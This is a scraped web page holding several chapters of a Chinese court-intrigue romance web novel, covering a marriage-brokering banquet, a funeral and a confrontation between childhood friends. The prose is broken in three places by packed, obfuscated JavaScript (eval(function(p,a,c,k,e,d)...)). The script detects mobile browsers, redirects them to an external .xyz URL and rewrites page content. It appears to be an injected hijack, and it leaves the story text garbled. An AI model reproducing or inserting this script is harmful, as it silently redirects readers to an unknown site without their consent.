RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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旁人不知他四年苦学被先生训得多惨，自己却是再清楚不过。这猝不及防任微王点了名，他险些跳起来领手板，笑容都敛了许多。 “呵......呵呵，微王谬赞了。以承学而方知不足，是以朝夕不敢懈怠......” 步长微悠悠品茶，眼中欣慰不已。 宴中，再传炝时蔬、荷叶鸡、高汤粉角、鸭腰子片，红松果子酿作辅。 “来，千弈。”步长微把酒，却道：“代为父敬展凌君一杯。” 步千弈不动声色，起身进酒：“展凌君，幸会。” 宁展执手拜过微王，继而回敬步千弈：“幸会。” 步长微点点头，示意二人就坐，打趣道：“展凌君从前便是温良恭俭的大雅君子，这年近弱冠，品貌愈发出众了！本王的千弈，还能追上嘛！” 步千弈搁置了果酿，预感不妙。 “微王抬举。”宁展肃然起身，“晚辈不才，从前只知安分守己，故疏忽了身在异乡的百姓。仅此一处，宁某便远不如步世子。” “欸，展凌君快坐！私宴，咱不谈公事，也无须拘谨。本王不过是想问，当今英才辈出......”步长微笑道，“展凌君可有婚配？” 53. 良配 步长微此话一出，在座无不动容。 景以承两颊鼓鼓兜着粉角，眼睛瞪得比太阳大。 宁佳与垂眼盯时蔬，筷箸挑挑拣拣的动作益发频繁。 步千弈指捏杯盏，看向宁展。 宁展亦然始料未及。 任他本事再大，也猜不透步长微何故惦记他一个外人的婚事。毕竟微王膝下无女，嫡次子更是年少早逝，欲凭联姻推进两州关系，按理该拿步千弈出来说道。 宁展平复心绪，恭敬道：“权位在身，晚辈当以天下为先。立身行道，济世经邦。因而——” “哎呀，展凌君何须紧张。你若无意，本王怎会乱点鸳鸯呢？” 宴末，传蜜饯小枣、鸳鸯卷、珍珠含桃，牛乳冰酪作辅。 步长微舀着冰酪，轻声短叹。 “就是可惜了，倘展凌君也心有所属，即可与千弈同办喜宴。喜事成双，多好！” 几人再度哑然。 唯景以承抱着饮喜酒、沾福报的心思，乐滋滋道：“不知步溪好事将近，以承代父王，恭贺微王，恭贺步世子！” 莫说景以承不知了，步千弈又何尝晓得自己婚配谁人、佳期远近？ “哟，瞧我这脑子。”步长微忽一拍脖颈，后知后觉似的道，“我私以为，雨姑娘生得神清骨秀，又落落大方，是为小儿良配，却不曾过问雨姑娘意下。今番，恰诸君齐聚，雨姑娘不必苦恼，将心意如实说来便是！” 景以承笑容僵滞，松掉狼毫的手巴不得给自己一耳刮，治治那嘴快的毛病。 连他都能觉出宁展看宁佳与的眼神多么复杂，微王当真是糊涂了，适才口口声声称不会瞎点鸳鸯，可现下这宴席简直杯盘狼藉，一切都乱了套！ 坏了坏了，他才与世子老师表过决心，待会真杀起人来，不会要他跟着一并动刀罢......景以承痛悔抿唇，恂恂窥察。 宁展面色不改，却将桌案下湖蓝宽袍绣的胡蝶捏得紧。眼看就快谈成生意，步千弈竟使出如此下三滥的招式跟他抢人，不耻搬出世子妃之位招惹宁佳与。 宁佳与本就沉浸在步千弈何时定了亲的疑惑中，怎料步长微越说越没谱，竟撮合起她与步千弈的婚事。 她一时缓不过神，张了半晌嘴，只道：“......啊？” “听闻雨姑娘与千弈青梅竹马，相交有年，实乃不可多得的缘分。千弈属意于你，本王心里高兴，便自作主张，代小儿问问雨姑娘，”步长微往前探了探身子，亲和无比，“可有此情？” 宁佳与终于清醒。 她起身绕过桌案，拱手道：“谢微王赏识。但民女一介布衣，凡胎俗骨，与世子殿下霄壤之别，不敢当‘良配’之说。” 说罢，宁佳与敬拜步长微。 见状，宁展眉间一动。 他观宁佳与右手叠左手，五指紧并，躬身颔首，行的是明明白白，且毫不违和的肃拜之礼。 以及，他拿不准那婉拒是否真心，因为“霄壤之别”压根不像宁佳与会用作自述的词。 思忖间，宁展忽觉故人宛然在目，遂忙移开视线，把不切实际的错觉晃得很远。但面前这场好戏，他看定了。 “这......”步长微为难地望着步千弈，欲言又止。 “雨妹妹坐罢。”步千弈待宁佳与归位，方宽慰道：“父王听得些风言风语，关心则乱。错原在我，未能剖明此事。雨妹妹莫要介怀。” 宁佳与笑着摇头，道：“父慈子孝，何错之有？” 步溪女子驻颜有术，青春长在。男子虽比之不及，倒也能沾上点儿光，以致年近知天命者，尚显未及而立。 然外州人的寿限左右不过五六十，依此见，步长微业已貌似半截入土之人。而他却比痴呆的老翁好哄，尤其爱听“风调雨顺”“父慈子孝”这般溢美言辞。 是以宁佳与话音未落，步长微乐得关不住嘴，浑不把身为君王反被子民当众推拒的窘迫当回事。 “对对对，你们二人说的，都有理！”步长微面露赞许，随即话锋一转：“可本王觉着，雨姑娘确实当得起良配，同王公贵戚亦非霄壤之别——展凌君以为呢？” “晚辈以为。”宁展微不可察地提了提唇角，颔首道：“微王圣明。” “本王还听闻。” 步长微手一抬，周连领宫娥麻利地撤案收尾。 “展凌君和雨姑娘相辅同行，两次为景安救下神医，泰王对此赞不绝口啊。” “景安有难，晚辈不能坐视不管，所作所为皆是分内之事。与姑娘......”宁展身形稍顿，道：“路见不平，侠义相助。晚辈钦慕不已。” “哦？”步长微立马来了兴致，“展凌君果真倾慕雨姑娘？” “绝无虚言。”宁展道。 宁佳与眼皮直跳，兀自推想着宁展的心思。 “雨姑娘呢？”步长微问得着急。 宁佳与游移片晌，道：“展凌君仁民爱物，是大雅君子，民女自然钦——” “好好好！” 步长微喜上眉梢，张口就要周连呈上笔墨，挥毫落迹。 “既如此，本王便暂代善王做了这个证婚人。这就修函一封，快马送往嘉宁！” 语惊四座，宁佳与“钦佩”之“佩”犹被步长微的话卡在喉咙里，那封龙飞凤舞的“喜报”已然完成。 瞥见步千弈蠢蠢欲动，宁展即刻站起作揖，飞速道：“微王雷厉风行，是为吾辈楷模。只是晚辈未拜会与姑娘家中长者便贸然定亲，恐有失礼数。” 步长微顺手把信函吩咐了下去，抚掌称是：“此事横竖得到了嘉宁，由善王点过头才作数。如今尚早，择日，展凌君就随雨姑娘归家拜会双亲罢！” 听雪阁姑且能称作家，可这世上，哪里还有她的双亲？宁佳与听了前头，以为宁展此举意在将计就计——看她与步千弈没戏，即借微王之口，寻个由头抵换所谓的婚事。 孰知宁展并不正面回应步长微，反将重点引向省亲。 宁佳与瞬间了然。 今有步长微一番话，宁展便无须再等她或许遥遥无期的答复。 宁展见人之事，板上钉钉了。 至于宁展不惜拿婚事作赌也要见师父是打的什么算盘，宁佳与不甚明确。然以她对宁展的了解，只要见到师父，此人的谋划起码成了一半。 - 午宴一退，景以承被步长微留在宫中叙话，步千弈与白歌匆促出宫。 临行前，白歌还不忘恶狠狠剜一眼宁展，对方笑而不语。 宁佳与则随嘉宁主从乘舆出宫，以宁驾车。 宁展空着主位不坐，大剌剌杵在宁佳与对面，像是等她先开骂口。奈何等了好一阵，宁佳与亦然凭窗观外景，权当车里没他这人。 “与姑娘......就没什么想同我言语的？”宁展声气温和，端的是仪表堂堂。 “展凌君果真雕心雁爪。狠起来，”宁佳与斜他一眼，“连自己的婚事也不放过。” “与姑娘适才还道宁某仁民爱物呢？”宁展调笑般说，“看你没有要做微王儿媳的意思，我是想帮你。” “妙啊。” 宁佳与拍手称 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“更大的诚意。众生平等，是你们步溪推崇备至的金言，嘉宁那群老骨头最不爱听。嘉宁仰承高低有序、尊卑有别，即是与姑娘说的霄壤之分。步长微若不能推个封号加身的高门贵女出面，哪怕父王和王室宗亲肯点头，言官决计不会应许。” 霄壤之别分明是宁佳与亲口所言，适才关乎步千弈，她尚且敏锐。时下对着宁展，她恍惚将二人中间的距离和阻碍忘得干净。 宁佳与静下心，发觉自己竟是在以嘉宁善王比对宁展，又以嘉宁王后比对了自己。 无论前者后者，其实都少有可比之处。 “那......”宁佳与鬼使神差道，“您的意思呢？” “我？”宁展没想宁佳与会问及自己，理所应当道：“自然也不会答允。” 宁佳与一时不知如何搭腔。 “不过，我从不谈什的尊卑有别、云泥之分。” 对面摇扇的手似乎丢了气力，宁展干脆接过来替宁佳与扇凉，出奇殷勤。 “不允，是不愿拿婚约当筹码、做交易。之于权贵，抑或布衣，那都是非同儿戏的终身大事。” 宁佳与夺回银骨扇的念头戛然而止，俨如被宁展一席真假难辨的好话挡在空中。她看进宁展双眼，里边难得清澈。 “怎么？与姑娘不信？”宁展打直身子，左手指天，浮夸道：“苍天在上，我宁元祯所言，句句真心。如若有假，便叫我此生无亲无友、不得善——” “呸！” 宁佳与冷不丁打下宁展左手，抢了折扇，没好气。 “展凌君要发毒誓，不知避着些吗？天雷劈下来，还要连累旁人与你陪葬！” 宁展不禁笑露八齿，一副景以承上身的乐天派，调侃道：“话说回来，我着实好奇，与姑娘到底从哪儿将我的表字听了去？莫非是李主事......” “你少拿我师父说事。”宁佳与睨着宁展，倏然豁达道：“展凌君不是想见吗？尽管去见，最好当面把那些陈芝麻、烂谷子的事刨问清楚。过了这村，可就没这店了。” 届时，看师父怎么收拾他。 舍不得重罚宁佳与，并不意味着李主事就是个好脾气的长辈。 “好啊。只是......” 短短两月，宁展因吃亏受挫攒了许多心得，早已做好时刻反将宁佳与一军的准备。 “我同与姑娘到了谈婚论嫁、归家省亲的地步，怎的还叫展凌君呢？该是——” “殿下。”宁佳与打手收扇，锐利的银骨径直指向宁展颈间，“适可而止。” 54. 今昔 充溢希冀与活力的仲夏，北林荣丰，凉风吐穗，高叶碧田田，人们总能找到值得庆贺的喜事。 如今七州地阔天长，万里疆土上，似乎只剩这一方小院孤寂悲泣。 痛昊天不吊，叹哀苦无告。 七日后，听雪暗桩众人为熊霆办了简单的葬仪。 简单无华，是熊霆入阁当天写下的遗愿。 熊霆五岁至慈幼庄，九岁学成出山，阁中任职二十载，在李主事手下为后生撑起听雪的第一片天，却有言在先。 他死时，不要珠翠随葬，不要金镂玉衣，但求师弟师妹到场告别，欢送这段来之不易的缘分；此后珍惜眼前，无事不准念他，否则投胎路上牵绊太多，阎王不给过。 听雪阁中，除却些个多嘴多舌之人，都是真性情的汉子和姑娘。 棺椁一去，院中狂风裹着素花、丧幡、纸钱哭号，刮得漫天漫地。数百身缟素接连哭倒于燠热的焦土，昂首，艳阳光芒万丈，比腊月割面的严霜无情。 - 雨夜声杂，庭遍流痕。 白歌带着熊霆的死讯回到听雪阁，被同僚齐身拦下。 三大暗阁内部皆有任务不可互通的规矩，各在其位，各司其职。但今夜，熊霆分明连任务都没有，该留守暗桩。 师弟师妹未等人归，只等来这平地一声雷。因着熊霆擅自行动、死状惨烈，步千弈有令，白歌甚至不能把他的尸首直接带回听雪阁。 然面前俱是不明所以的小辈，倘白歌不说明熊霆死于谁手，便不让白歌进门。双方僵持良久，直至闹得李主事下山，才算作罢。 相较三天两头不见影的步千弈，李主事更像坐镇听雪阁的中流砥柱。她深知近来并无行刺宁展的任务，即是有，也不可能派与熊霆。 昔年，他亦曾是怪血病中死里逃生的小孩。熊霆二字并非本名，实是进了慈幼庄后必不可少的新身份。 他的父母，分别来自嘉宁和步溪。 其母原是其父捡回家作妾的菜农，其父却在嘉宁大举处决身害怪血病之人时，毅然将其母推了出去，声称她正是给全家带来不幸的病体。 可怪血病不会传染。 天不收恶人，恶人自来收。 上头要根除隐患，熊霆一家是嘉宁境内被满门抄斩的第三十六户平民。 世家锒铛入狱，布衣走水绝户，肆虐七州的怪血病在嘉宁消失得神不知鬼不觉。 这便是琛惠帝手腕。 母亲将四岁的熊霆藏入恭桶，他躲过此劫，沿地沟流浪，吊着几口气爬向母亲的故乡。由于体魄出众，兼之步溪血脉，他被步长微选中。 入阁以来，熊霆始终是小辈们的后盾。哪个闯了祸，都知道往大师兄胳肢窝底下躲罚，而他自己从不犯禁。 父族全灭，他仍难消恨。此番，他是铁了心要向琛惠帝讨债，杀不到善王，便除掉那个自以为然的少君。 他默默离开暗桩的前因后果若在阁内传开，保不齐又要出多少个意气用事的熊霆。 李主事好谋善断，当即正告所有听雪隐士，不得对熊霆之死妄加议论，违者驱逐出境——任他们日日在外州人手底下谋生。 - 宁佳与不似旁人那般哭倒暗桩门前，没踏出院子半步。她跪坐祠堂蒲团，望着熊霆的牌位出神。 白歌目送灵柩远去，捏紧了拳头，转身进屋。 他跪上宁佳与身侧的蒲团，给大师兄磕完三个响头，再没多余动作。 宁佳与听着响，留意到自己敬的香烛快燃尽了。她凝瞩不转，讷讷问：“师父回来了吗。” 宁佳与在此守灵七日，李主事却一如既往待在慈幼山庄。直至今晨熊霆出殡，师徒二人方才草草见了一面，且话都没说上，周连带着步长微的口谕传李主事进了宫。 “没。” 安静片晌，宁佳与好像笃定李主事不会久留王宫，缓慢道：“......去了哪里？” “茶楼。”白歌侧首，瞧着宁佳与憔悴的侧颜，“见嘉宁少君。” 宁佳与身穿平日极少接触的素色，额头束的那抹白，俨如就是整个人绷紧的最后一根弦。若白歌抬手将其扯去，她便会径直磕在灵台，随亡者一睡不醒。 宁佳与撑地起身，取火焚香。 她背对白歌，沉闷道：“何时回——” “你知道大师兄死之前说了什么吗。”白歌沉声打断。 宁佳与顿了顿奉香烛的手，没有回头。 “什么？” “他说。”白歌松开拳头，却是道自己的心声：“宁展绝非善类，你离他越远越好。” - 熊霆的死状与卫子昀大差不离，皆为利刃穿喉。 以宁背着卫子昀的尸首走出囚室，左手扶人，右手提剑。宁展隔空抹脖，以宁得令，遂以迅雷之势自后向前捅穿了熊霆。 熊霆仰倒在地，悔自己早未想到那暴君不会有好种，宁展亦不会因为白歌一句话就轻易放过他。 鲜血大口大口往外涌，熊霆业已说不出任何话。他被白歌扶上肩头，指尖沾了些红，艰难地拂开杂草，在地上画着什么。 白歌极力辨认血迹，熊霆倚着肩头悄然闭了眼。 那是个歪歪扭扭，来不及写完的“雨”。 - 宁佳与埋下头，唇角不住抽动。 她小心翼翼地插稳新烛，后双手合十，贴于额前，无声念道：“对不起......一路好走......” “上山罢。”白歌扶剑起身，“世子殿下在那里等你。” 宁佳与还想问话，则见白歌单独牵来她先前落在嘉宁那匹快马。她心领神会，噤声上马。 这一趟，须得她孤身赴约。有些话，也只能从当事人口中问到答案。 宁佳与重新勒紧额头的白布，疾驰而去。 - 三大暗阁遴选的隐士，各有出处。 听雪阁的目光，起初大多放在流民中骨骼清奇的步溪孤儿身上。选定，则至慈幼山庄，交由步长微指派的教习先生，因材施教。 这些年幼失亲的孩子，穿过相仿的圆领套衫，分过相等的一日三餐，度过相依相伴的髫年，离开山庄后，仍要踏上截然不同的征途。 如学有所成，签下卖身契，领入听雪阁。 假使一窍不通，送出山庄，进步溪官府打杂。 官府是早出暮归的阳关道，听雪是不见天日的独木桥。 陌路上，旧日伙伴至此杳无音信。 他们都以为自己才是被主公选中的幸运儿，不敢想象余下人如今身归何处，顶多对着手边的影子问一句——阔别多年，安康否？ 是以，慈幼庄可谓密不透风。 在听雪阁以外看来，立于深山密林的山庄，仅仅是个收容童龄孤子的育婴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679260|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂。许多人甚至不知山庄具体何在，包括消息灵通的青竹阁。 而熊霆那类力大若牛者，是步长微的择选标准，办起事直截了当，一步到位。 步千弈接手听雪阁后，另按照白歌这样身轻体健之人来挑，更讲究眼明手快，遁迹潜形。 诚然，白歌随李主事回到慈幼庄，步千弈尚在州学苦读。是李主事力排众议选入行动灵活的白歌，给了步千弈革故鼎新的想法。 故步千弈一直十分敬重李主事，多番向步长微推举李主事官复原职，奈何步长微不是推三阻四就是犯耳鸣。 尽管如此，步千弈还是坚持不懈磨了步长微两年。 七岁到九岁，徒劳而返。 他本就固执，为这事儿在金銮殿外跪立十个时辰。周连劝不动他，便站在边上为小殿下掌伞，怎料步千弈哐哐几拳，精准无误地痛击周连裤|裆。 周连苦不堪言，却没有与小殿下还手的道理，只好反去劝微王。 整日跪下来，小脸任蒲月的烈日晒得通红。 步千弈承袭了其母云容月貌般的颜色，再添上一份孩童独有的稚气，令来往言官怜爱不已，纷纷“有本启奏”，堵着议事厅求见微王。 步长微挡不住诸公热忱，遂先应了步千弈。他陪着步千弈用过晚膳，再把李家旧故当坊间小传，一五一十说与儿子听。 那夜往后，步千弈总算不再踏足金銮殿。 可他曾信誓旦旦向李主事许诺，现下不成了，自然要提东西去一趟慈幼庄赔礼，聊表歉意。谁想他将进山庄，还未见着李主事，即被池塘边颤巍巍的身影引走视线。 且看桃色布裙“扑通”滑入池塘，步千弈登时搁下捧在怀里的糕点，三两步冲上前跳水，溅了满眼水花，将面前的小姑娘浇得大惊失色。 荷花池其实不深，小姑娘站直身子，池水才堪堪没过她腰后的长发。如此一来，倒显得步千弈多余又唐突。 小姑娘一下拽起好几片高叶遮挡自己，忙不迭欲逃，拖着衣裳往池边靠的动作却相当犹豫。 步千弈也难为情地低头，恰巧撞上一只湿透的纸鸢。 小姑娘最终还是逃了。他望向那背影，心道，这应该就是人家落水都拼力要救的东西了。 步千弈谨慎捧起纸鸢，撑着池边翻身坐稳，兀自取出上衣内袋干净的方巾捏成团，一寸寸，尝试搌干纸鸢。 他不知那位面生的姑娘何时来到慈幼庄，亦不清楚其人姓名，单瞧对方跑走时一步三回头的不安，便确信他手里的东西很重要。 透了水的纸未在步千弈这儿有所好转，依旧是立马要碎的样子。 他不敢带着“病入膏肓”的纸鸢随意走动，于是拧干裤腿，守在原处，猜测小姑娘再晚也会回来寻此物。 果然，步千弈等了不足两个时辰，小姑娘拎着食盒、拐着弯儿往池塘来。她面上绯色未褪，但比惊慌之际淡下不少。 豆青束衫临风晾了半干，皱巴巴搭在步千弈身上。 他翘首以待的姑娘终于露面，自己忽然不好意思迎了，愣是等人走到跟前，腼腆一笑，拱手回了对方的肃拜之礼。 往日舌战君王、拳打老宦的步溪小殿下，这会儿竟不敢问小姑娘年岁几何。 步千弈抿嘴拟了许久词，最后挤出来一句没头没尾的，惹得她掩口发笑。 “......你来了？” “嗯。” 55. 雪狼 “你来了。” 步千弈伫立池边，迎着策马入山庄的宁佳与。 宁佳与纵身落地，轻声应了“嗯”，随手拴好马。 她缓步走近荷花池，方才留意到步千弈今日未着青衫，而是与听雪阁众人一样，缟素加身，头系白布。 “坐罢，雨妹妹。”步千弈引手相邀，给宁佳与让出位置。 宁佳与点点头，掀袍落座。 自二人幼年在此初遇，步千弈便着人搭了个简易的“避风亭”。 道是避风亭，却四面开阔，无不通达。若逢天公不作美，任风吹来，即是雨遮不住，雪挡不成。 简言之，这是处仅供余暇歇脚、把酒吟诗的消闲地。 “避风”类同“听雪”，俱是耐人寻味的雅名而已。何况面若死山的步千弈往亭中一坐，平日也没谁轻易踏足。 步千弈看着石桌，欲言即止。 桌上摆的含桃冰酪已然融化大半。 这是他下厨亲手为宁佳与准备的，现在却莫名有些拿不出手了。 “暑天，冰酪不经留。青哥哥不必如此费心，食物再鲜美，”宁佳与提起瓷壶，为步千弈斟上清茶，“用起来没节制也是要生病的。” 步千弈闻言一怔。 他印象里，无论七岁还是十七岁，只要站在他面前，雨妹妹就是四季开不败的花，恒久灿烂。如今的宁佳与，却像立于深山穷谷的优钵罗[1]，不为人所识，亭亭而独芳。 “说得是。”步千弈捏了捏手指，仍然莞尔。他瞧宁佳与没什么精气神，遂探问：“今日事务繁多，雨妹妹忘了用早饭罢，先吃颗饴糖？” 说着，他如儿时那般，施巫术似的从袖袋里摸出大把裹彩纸的糖，摊于掌上，让宁佳与挑着吃。 那堆五颜六色的纸往往晃得人头晕，因而宁佳与多是双目一阖，胡乱在步千弈手心抓瞎，揪住哪颗便是哪颗。 现下这堆颜色依旧让她眼花缭乱，宁佳与索性推回步千弈的手，不选了。 “青哥哥，饴糖太甜，我吃了牙疼。” 步千弈不气馁，利落收起糖，道：“那桂花绵绵糕呢？除了含桃和冰酪，你最好这个。” 对上步千弈满眼期望，宁佳与有些无措。她深吸一气，不意步千弈先开了口。 “十年前，我和雨妹妹就是在这里相遇，而后相知相交。对了，那时她还没有名字，唯有一身衣裙，和一只透水的纸鸢。雨妹妹说，那是她爹爹亲手做的纸鸢，印染，也是用她顶顶欢喜的桃色。” 旧影随声拉长，宁佳与跟着师父来到慈幼庄的第一天，也是她步入七岁的第一天。 她粗衣布裙，和手上拿的纸鸢一般，皆有身漂亮的粉红。 幼子踏进大门的瞬间，要抹去源自从前的所有痕迹。那个承载双亲无尽祈愿的名字，概莫能外。 宁佳与匆匆来到人生地不熟的山庄，一手紧贴娘亲最后为自己添的新衣，一手攥着爹爹永远做不完的纸鸢，成了小心翼翼的无名氏。 “青哥哥——”宁佳与不忍地打断。 步千弈头回没等那些他不爱听的话说完，跟着往下接。 “可惜，纸鸢还差一层油纸，雨妹妹的父亲被人叫走了，直到天黑，再未归家。我的确没用，救不回纸鸢，小雨回来时，却向我递来糕点，不曾责问一句。她说，多谢我义无反顾搭救，但我......” 步千弈望着波光粼粼的水面，娓娓道来，仿若在讲一段遥不可及的传说。而故事中的人，都不在这里。 “分明是来给她添乱的。那盒作为谢礼的糕点，绵软，香甜。我当时以为，这便是世间极品，天上的美味。 “后来，我学街边的匠人，为她编了只小纸鸢。我却跟她说，纸鸢是我偷着买的，让家中凶巴巴的父亲瞧见，要挨鞭子，雨妹妹立刻答应替我收着。她在山庄，我在州学，两边的先生散了堂，我们便约在山脚放纸鸢。我做的纸鸢很破，不堪入目，也根本飞不起来。她没有怨，反把那摔得不成样的玩意当宝贝带回庄子，藏进屋里。 “可是。” 步千弈敛了目光，涩声道。 “后来，再后来......我是说从今往后，不管怎样，我收不到桂花糕了。对吗？” 宁佳与和步千弈相交十年，在对方脸上，见过小孩口中“凶巴巴的父亲”留下一掌红印；见过弈祇君英姿飒飒、负伤凯旋，双颊爬满的热血；见过步溪世子深孚众望，那锦袍玉带隐去的狼子野心。 她独没见过此际，泫然难抑的泪，滴落石桌，轻叩门扉。 “青......”宁佳与道，“我既唤了十年的哥哥，便是真心把青哥哥当作兄长。兄长想要吃食，我哪有不应的道理？” “但是小雨，我——” 步千弈业已顾不上往日从容，雪狼隐匿数载的长尾瞬时暴露其后。 宁佳与看着猝然扬起的狼尾，愣怔结舌。她知道步千弈是雪狼，却从未亲眼见过。 玄灰的长绒精神抖擞，像在骄傲展示华丽而威严的毛色，与落泪的步千弈同体不同心，瞧来十分割裂。 步千弈面色微愠，引手一挥，洋洋自得的狼尾蔫了下去，重复道：“小雨。” “哥哥。”宁佳与明白步千弈并非有意为之，遂很快平复，“哥哥为何不依着先前那般唤我了？从前的称谓就很好，日后也无须改换。” “......为何？”步千弈轻声道。 他自信有成百的缘由和苦衷可以劝动宁佳与，而当下这时节，偏偏一个都不能说，只能苍白追问。 “小时候，青哥哥未与我言明那位父亲。好在我们心有灵犀。” 宁佳与笑得浅，依稀还是昔日替步千弈藏纸鸢的小姑娘。 “青哥哥相信我能猜到，我也真的猜到了。从前如是，我以为哥哥习惯了，而今又何苦要与我分辩个所以然呢？” 从前如是。 步千弈绝口不提他与其父身份，宁佳与亦无心盘问，二人仅做彼此形影不离的同伴。 只是日子一天挤着一天，围在步千弈身边的大官小吏愈来愈多。他抽不开身，那一袭四季常青的衣装，也从素软缎换作雨花锦。 尽管宁佳与早有预料，却实在没法装成傻子，权当步千弈草草与她交代过了。 而今亦然。 步千弈年近弱冠，婚娶之事如在咫尺。假使步千弈想娶、宁佳与肯嫁，有步长微在，二人这婚就决计没可能。 步长微身为一州君主，之所以将王储婚事指得那般儿戏，是为明面上借私宴替步千弈表白情意，实则刺探二人是否像流言所传那般两心相悦。 宁佳与应下，步长微大可以“诸事匆忙、容后再议”敷衍过去。 宁佳与回绝，步长微正好搬出所谓的“听闻”。 宁展同宁佳与之间是何干系不重要，将他们患难与共的佳话广而告之，便能把步千弈择出来。 至于宁展那番莫名其妙的配合，是步长微意料之外的收获。 步长微此举，若非忌惮宁佳与身份不明，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679261|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是纯粹看她不合眼。哪怕步千弈情愿为宁佳与一刀了结步长微，她对步千弈，从头到尾都没有那份情。 桩桩件件，皆是二人眼前不言而喻之事。 步千弈十岁掌权暗阁，十四岁领兵大败外敌，至今稳坐步溪储位，他怎会看不清局势？ “我不明白。若我们二人尚且止步于此，那宁展呢。”步千弈道，“此人为全虚名，连一个小小的王储都保不住，又如何有资格......娶你、与你并肩而立。” 宁佳与扶扇起身，面向荷花池，背对步千弈。 “我不会嫁，他也不会娶。我与宁展在一起——” 兴许就是天怒人怨。 “既如此。”步千弈左手搭着石桌，五指不由自主地向掌心扣拢，“你还是坚持要和他同行吗？” “青哥哥，杀他并不能改变外州多年来对步溪的成见。那是个馊主意。” 宁佳与遥望山间，似在寻找这片密林的出路。 “你从来不会这样轻重倒置，更不屑于借刀杀人。” 宁展孤身前往步溪大理寺那夜，除去地牢内恭候多时的步千弈，及随行其左右的白歌，没有任何人能够笃定宁展身在何处。 旁人给他添的堵，他会一笔一画记个明白，待来日悉数清算。但宁展看不得手下的人一边替他卖命，一边还要任歹人玩弄于股掌。 是以，宁佳与和以宁都猜不透，那夜宁展夺门而出，究竟是先去寺狱替卫子昀收尸，抑或如当初拔舌那般，先去青竹阁点人。 于是宁佳与赶赴最近的青竹暗桩阻截宁展，以宁则去寻卫子昀的尸首。 熊霆过世这些天，宁佳与偶然会想，若是她去了大理寺，结果会不会不同。 但她真的能说服熊霆罢手泯恩仇吗？她又能拦挡悲愤填膺的宁展多久？ 归根究底，两团怒火本不该如此凑巧地烧成一堆。 饶是宁佳与屡次把事实推翻重演，可心中早有了分晓。 步千弈不是借刀杀人的作派，但他大抵需要一个合理且大义的情由，交与步长微，交与天下人。如此，风光无限的嘉宁少君，便是死在先帝那把残虐不仁的刀下。 宁佳与原不想站在少时的美好中质问步千弈，可她脚下踩着的慈幼庄，也是熊霆的家。 就在这个家，师兄和同窗带着她做尽了“坏事”。 她慢慢学会贫嘴、张狂，傲慢无礼、坐立无相，近乎被重塑为山里长大的野狐狸。 宁佳与明白，那都是师父的意思。若不然，她没法摆脱七岁之前留下的痕迹。 宁展挥的剑，步千弈递的刀，但凡少一样，熊霆都未必死在地牢。 这样看，宁佳与倒更像横在两位宏图大计上的拦路虎，俨如她才是暗中作梗之人。 “我要杀他，不全是为了步溪。” 步千弈知道，宁佳与怪他害死了熊霆，可他不在乎。他握拳透掌，不容置疑。 “小雨，你不能跟他走。” 步千弈作为听雪掌阁，从不插手关乎宁佳与的阁中事宜，全权交由李主事裁定。而李主事手头的任务，其实与步千弈手里的饴糖没什么区别，都是精心选好了，再让宁佳与挑着吃的零嘴。 从前，她的确是这里最自在的小孩。 宁佳与收回视线，平静道：“这件事，还有待——” “韩雨，我说你不能跟他走！” 步千弈陡然站起，身后狼尾呈拔地参天之势，玄灰长绒森然竖立，将二人共同笼在庞大的阴影下。 56. 听雪 步千弈未曾想过自己会有对韩雨大发雷霆的一天，纵使再不忍，但就是这么做了。 他确定韩雨身份的日子，比确定对韩雨的心意更早。 整个慈幼庄，只两人是李主事亲自接回山中的小孩。首先是白歌，其次是韩雨。 嘉墨年间的第一记暴雷，是琛惠帝自退为王。而韩雨上山数日前，第二响炸醒了七州内外所有人。 嘉墨十六年，两州公函曰：“琛惠太师韩宋，意图谋反、犯上作乱在先，教子无方、离经叛道在后。经宁、墨二主商定，处宋鼎烹，论正法于墨川王城；夷其三族[1]。以儆效尤。” 韩宋发妻江氏闻风而匿，累及江家产业一落千丈，不复当年。传言，江氏与韩宋独女韩氏于越狱半途被墨川官兵擒获，就地正法。 墨川韩氏，惮赫千里的百年将门，至此覆灭。 传言，终究不能与亲眼所见相较。 步千弈和韩雨初遇时，看到的正是她那身虽不甚洁净，但异常崭新的布裙，及其过于出挑的品貌，完全不似慈幼庄往日从流民中择选的孤儿。 装束打扮尚能伪饰，高门贵女的林下风范却非一朝一夕可以养成。再则，韩、江两大世家方没落消乏，不日她便来了，且是由极少出山的李主事亲自接迎。 这般凑巧之事，天下罕有。 然仅此两处，还不足以认定小姑娘的身份。 直至她对慈幼庄数百人草拟的名字都不满意，偏生挑中了李主事和步千弈达成共识的“雨”，步千弈才暗自断言。 她多半就是那位下落不明的韩宋独女，韩雨。 步千弈私心不浅。 他宁愿韩雨原本和慈幼庄留下的其他小孩儿一样，是芸芸众生中短暂迷失方向的流民。即使往昔多艰，起码日后活得像熊霆，进可以血偿血，退可望峰息心，至少后顾无虞。 现如今，韩雨和宁展阴差阳错有了交集。那人好比笑面夜叉，较其父宁善有过之而无不及。 他要保韩雨一世安然，宁展就必须死。因而熊霆自甘为棋送上门，步千弈没理由不用。 倘熊霆失手，死于宁展剑下，韩雨即使嘴上不说，心中芥蒂却不好消除。 总之，他不可能眼睁睁看着韩雨走向宁展的天罗地网，是以无悔可言。 